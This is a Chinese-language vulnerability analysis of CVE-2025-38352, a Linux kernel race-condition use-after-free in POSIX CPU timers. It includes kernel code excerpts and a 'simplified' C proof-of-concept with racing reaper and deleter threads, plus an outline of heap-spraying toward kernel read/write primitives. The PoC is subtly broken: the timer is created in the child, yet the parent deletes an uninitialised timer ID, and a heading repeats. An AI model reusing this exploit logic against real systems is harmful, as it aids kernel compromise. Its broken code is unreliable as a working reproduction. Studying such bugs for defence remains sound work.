1. 背景:POSIX CPU Timer 子系統
Linux Kernel 作為許多作業系統的核心元件,其安全性漏洞一直受到嚴密審查。在已發現的嚴重缺陷中,導致核心子系統出現 Use-After-Free (UAF) 漏洞的 Race Condition,由於其攻擊依賴精確的時機,因此構成了重大挑戰。這份報告針對 CVE-2025-38352 提供詳細的技術分析,這是一個在 Kernel 的 POSIX CPU timers 實作中發現的高風險 Race Condition UAF 漏洞 [1]。分析重點在於底層的計時器機制、觸發競速(Race) 的特定條件,以及該缺陷在架構上的影響。
1. 背景:POSIX CPU Timer 子系統
POSIX CPU timers 是一種專門的計時機制,用於追蹤程序(process)或執行緒的實際處理器使用量,這與掛鐘時間(wall-clock time)不同。此功能對於資源管理、效能分析(profiling)以及強制執行資源限制至關重要。系統管理三種主要的時鐘類型,每種都監控 CPU 時間的不同面向 [2]:
-
CPUCLOCK_PROF: 測量程序所消耗的使用者(user)與系統(system)總時間。 -
CPUCLOCK_VIRT: 僅追蹤在使用者空間(user-space)執行所花費的時間。 -
CPUCLOCK_SCHED: 擷取任務(task)被排程執行的總時間,提供最完整的執行時間視圖。
計時器的建立與管理是透過
posix_cpu_timer_create()
等函式處理,這些函式會初始化 Kernel 結構(如
struct k_itimer
),並將其連結到目標任務的訊號處理結構
struct sighand_struct
。計時器生命週期中的一個關鍵面向是其過期及隨後的訊號傳遞,這受到 Kernel 設定(Configuration)選項
CONFIG_POSIX_CPU_TIMERS_TASK_WORK
的影響。當此選項被停用時,計時器過期處理會直接從中斷請求(Interrupt Request, IRQ)環境(Context)中處理,這是該漏洞存在的關鍵因素 [2]。
2. 漏洞機制:Time-of-Check to Time-of-Use (TOCTOU) Race
CVE-2025-38352 基本上是一個在終止任務(task)清理過程中發生的 TOCTOU Race Condition。該漏洞源於三項關鍵 Kernel 操作之間未同步的互動:CPU 計時器的觸發、殭屍任務(zombie task)的回收,以及計時器的明確刪除 [1]。
當一個設定了 POSIX CPU 計時器的任務轉移到
EXIT_ZOMBIE
狀態時,就會啟動競速。Kernel 的計時器處理函式
handle_posix_cpu_timers()
會被呼叫(當
CONFIG_POSIX_CPU_TIMERS_TASK_WORK
停用時,通常是在 IRQ 環境中)。此函式首先獲取任務的訊號鎖(
tsk->sighand->siglock
),以便安全地收集任何觸發中的計時器。在將計時器收集到暫存清單後,函式會釋放鎖,並開始遍歷收集到的清單以進行處理 [1]。
關鍵的 Race Window(競賽視窗)恰好在
handle_posix_cpu_timers()
釋放訊號鎖之後、開始遍歷計時器清單之前開啟。在這個狹窄的視窗內,一個同時執行的執行緒(例如呼叫
waitpid()
的父程序)可以回收該殭屍任務。回收程序涉及對
release_task()
的呼叫,進而執行
__exit_signal()
。此函式負責清理任務的訊號結構,且至關重要的是,它會將任務的訊號處理程式指標設置為
NULL
:
- /* In kernel/signal.c:__exit_signal() */
- static void __exit_signal(struct task_struct *tsk)
- {
- /* ... other cleanup ... */
- tsk->sighand = NULL; /* Set to NULL during reaping */
- /* ... */
- }
同時,第三個執行緒可以嘗試透過
timer_delete()
刪除計時器,這會呼叫
posix_cpu_timer_del()
。此刪除函式嘗試透過
lock_task_sighand()
獲取訊號鎖(Signal lock)。然而,由於
tsk->sighand
已被回收程序設置為
NULL
,
lock_task_sighand()
會失敗,且
posix_cpu_timer_del()
會提早回傳,導致未能執行一項關鍵檢查:即計時器目前是否正在觸發(
timer->it.cpu.firing != 0
)[2]。儘管提早回傳,計時器結構仍被排定透過 RCU (Read-Copy-Update) 機制經由
posix_timer_free()
進行非同步釋放。一旦 RCU 寬限期(Grace period)結束,計時器結構所佔用的記憶體就會被釋放。
當
handle_posix_cpu_timers()
恢復執行時,它會對收集到的計時器清單一個一個檢查,嘗試存取(Access)現已釋放的計時器結構,導致 UAF 狀況 [1]。
2.1. Race Condition 視覺化
導致 UAF 的事件序列,最適合描述為 Kernel 計時器處理程式(Timer handler)、任務回收者(Task reaper)與計時器刪除者(Timer deleter)之間的三方競速(Race):
3. 程式碼路徑技術分析
UAF 的核心在於
handle_posix_cpu_timers()
內的迴圈。該函式的用途為處理已被標記為觸發中的計時器。以下簡化的片段標示了關鍵的存取點 [1]:
- /* In kernel/time/posix-cpu-timers.c:handle_posix_cpu_timers() */
- static void handle_posix_cpu_timers(struct task_struct *tsk)
- {
- LIST_HEAD(firing);
- unsigned long flags;
- struct k_itimer *timer, *next;
- /* ... */
- /* Collect timers and drop lock */
- sighand = lock_task_sighand(tsk, &flags);
- if (sighand) {
- check_thread_timers(tsk, &firing);
- check_process_timers(tsk, &firing);
- unlock_task_sighand(tsk, &flags); /* Race window opens here */
- }
- /* Race window: timer can be freed by posix_cpu_timer_del() + RCU */
- /* UAF access occurs during iteration */
- list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
- /* Accesses timer structure, which may now be freed memory */
- cpu_timer_fire(timer);
- }
- }
雖然使用
list_for_each_entry_safe
可確保即使當前項目(
timer
)在迴圈期間從清單中刪除,清單遍歷仍是安全的。然而,它無法保護
timer
所指向的記憶體不被完全釋放,也無法防止該記憶體被 Kernel 的 slab 分配器重新分配給其他用途。因此,此漏洞是涉及共享資源(計時器結構與任務的訊號狀態)的一系列操作中,未能維持原子性(atomicity)的典型案例。
3.1. Proof-of-Concept (PoC) 邏輯
此漏洞的成功 PoC 需要精確的時機,以最大化命中狹窄 Race Window 的機率。一般邏輯涉及三個並行的執行緒或程序 [1]:
- 計時器執行緒: 建立子程序(process),在上面設定 POSIX CPU 計時器,然後結束執行,讓子程序成為殭屍(zombie)。
-
回收執行緒:
對殭屍子程序持續呼叫
waitpid()以觸發release_task()並設置tsk->sighand = NULL。 -
刪除執行緒:
對計時器 ID 持續呼叫
timer_delete(),目標是在handle_posix_cpu_timers()釋放訊號鎖且tsk->sighand為NULL的短暫瞬間執行posix_cpu_timer_del()。
以下簡化的 C 語言程式碼架構說明了觸發競速 的 PoC 所需的核心組件:
- /* Simplified PoC Structure for CVE-2025-38352 */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <signal.h>
- #include <sys/wait.h>
- #include <time.h>
- /* Global timer ID for the race */
- timer_t global_timer_id;
- /* Function to be executed by the Reaper Thread */
- void *reaper_thread(void *arg) {
- pid_t zombie_pid = *(pid_t *)arg;
- int status;
- /* Continuously try to reap the zombie task */
- while (waitpid(zombie_pid, &status, WNOHANG) == 0) {
- /* Introduce a small delay to control the race timing */
- usleep(100);
- }
- printf("Reaper: Zombie reaped, tsk->sighand is now NULL.\n");
- return NULL;
- }
- /* Function to be executed by the Deleter Thread */
- void *deleter_thread(void *arg) {
- /* Continuously try to delete the timer */
- while (1) {
- /* This call triggers posix_cpu_timer_del() */
- if (timer_delete(global_timer_id) == 0) {
- printf("Deleter: Timer successfully deleted (and freed via RCU).\n");
- break;
- }
- /* Introduce a small delay to control the race timing */
- usleep(100);
- }
- return NULL;
- }
- /* Main function to set up the timer and the race */
- int main() {
- /* 1. Create a child process that will become the zombie */
- pid_t child_pid = fork();
- if (child_pid == 0) {
- /* Child: Set up the POSIX CPU timer */
- struct sigevent sev;
- struct itimerspec its;
- /* Configure timer to fire shortly after exit */
- sev.sigev_notify = SIGEV_THREAD_ID;
- sev.sigev_signo = SIGUSR1;
- sev.sigev_value.sival_ptr = &global_timer_id;
- sev._sigev_un._tid = gettid();
- if (timer_create(CLOCK_PROCESS_CPUTIME_ID, &sev, &global_timer_id) == -1) {
- perror("timer_create");
- exit(EXIT_FAILURE);
- }
- /* Set timer to expire immediately */
- its.it_value.tv_sec = 0;
- its.it_value.tv_nsec = 1;
- its.it_interval.tv_sec = 0;
- its.it_interval.tv_nsec = 0;
- if (timer_settime(global_timer_id, 0, &its, NULL) == -1) {
- perror("timer_settime");
- exit(EXIT_FAILURE);
- }
- /* Exit immediately to become a zombie */
- exit(0);
- } else if (child_pid > 0) {
- /* Parent: Start the race threads */
- pthread_t reaper, deleter;
- /* Start the reaper thread to set sighand=NULL */
- pthread_create(&reaper, NULL, reaper_thread, &child_pid);
- /* Start the deleter thread to free the timer */
- pthread_create(&deleter, NULL, deleter_thread, NULL);
- /* Wait for the race to complete or crash */
- pthread_join(reaper, NULL);
- pthread_join(deleter, NULL);
- printf("Race finished. Check kernel logs for UAF crash (KASAN splat).\n");
- }
- return 0;
- }
4. 與 Race Condition 漏洞利用的概念連結
CVE-2025-38352 作為核心作業系統元件中的 TOCTOU Race Condition,其本質並非特例。利用安全檢查與資源使用之間的窗口,是漏洞研究中反覆出現的主題。例如,對 EDR-Freeze 技術的技術研究,該技術利用涉及 Windows 錯誤報告 (WER) 系統與
MiniDumpWriteDump
的 Race Condition 來避開端點偵測與回應 (Endpoint Detection and Response, EDR) 代理程式,兩者在概念上具有相似性 [3]。這兩個漏洞都利用系統程序中的暫時性關鍵狀態變化(Kernel 中的任務回收、EDR-Freeze 中的執行緒暫停)來執行未經授權的操作(UAF 存取、EDR 規避),而這些操作本應透過適當的同步或狀態驗證來防止。
CVE-2025-38352 的成功利用取決於是否能穩定贏得競速,並控制隨後被釋放且再次被存取的記憶體。由於被釋放的物件(
struct k_itimer
)相對較小,成功的攻擊將涉及堆積噴灑(heap spraying)技術,以受控的結構重新分配已釋放的記憶體,從而在 Kernel 環境中達成任意讀取/寫入的能力(primitives)或控制流劫持 [1]。該漏洞主要在停用
CONFIG_POSIX_CPU_TIMERS_TASK_WORK
時可被利用,這一點凸顯了 Kernel 設定(Configuration)在決定攻擊面時的重要性。
5. 結論
CVE-2025-38352 強烈提醒了 Kernel space 內並平行程式設計的複雜性。此漏洞根源於 POSIX CPU 計時器子系統中細微的 TOCTOU Race Condition,展示了任務生命週期管理與資源清理之間的互動如何產生危險的安全缺陷。技術分析確認,UAF 是由任務回收期間未同步將
tsk->sighand
設置為
NULL
所觸發,這繞過了計時器刪除路徑中的關鍵檢查,導致計時器結構過早釋放。緩解措施需要健全的同步機制,以確保計時器結構在仍排隊等待處理時不會被釋放,該修正已在後續的 Kernel 版本中實作。持續警惕並審查 Kernel 程式碼中的此類同步缺陷,對於維持系統完整性至關重要。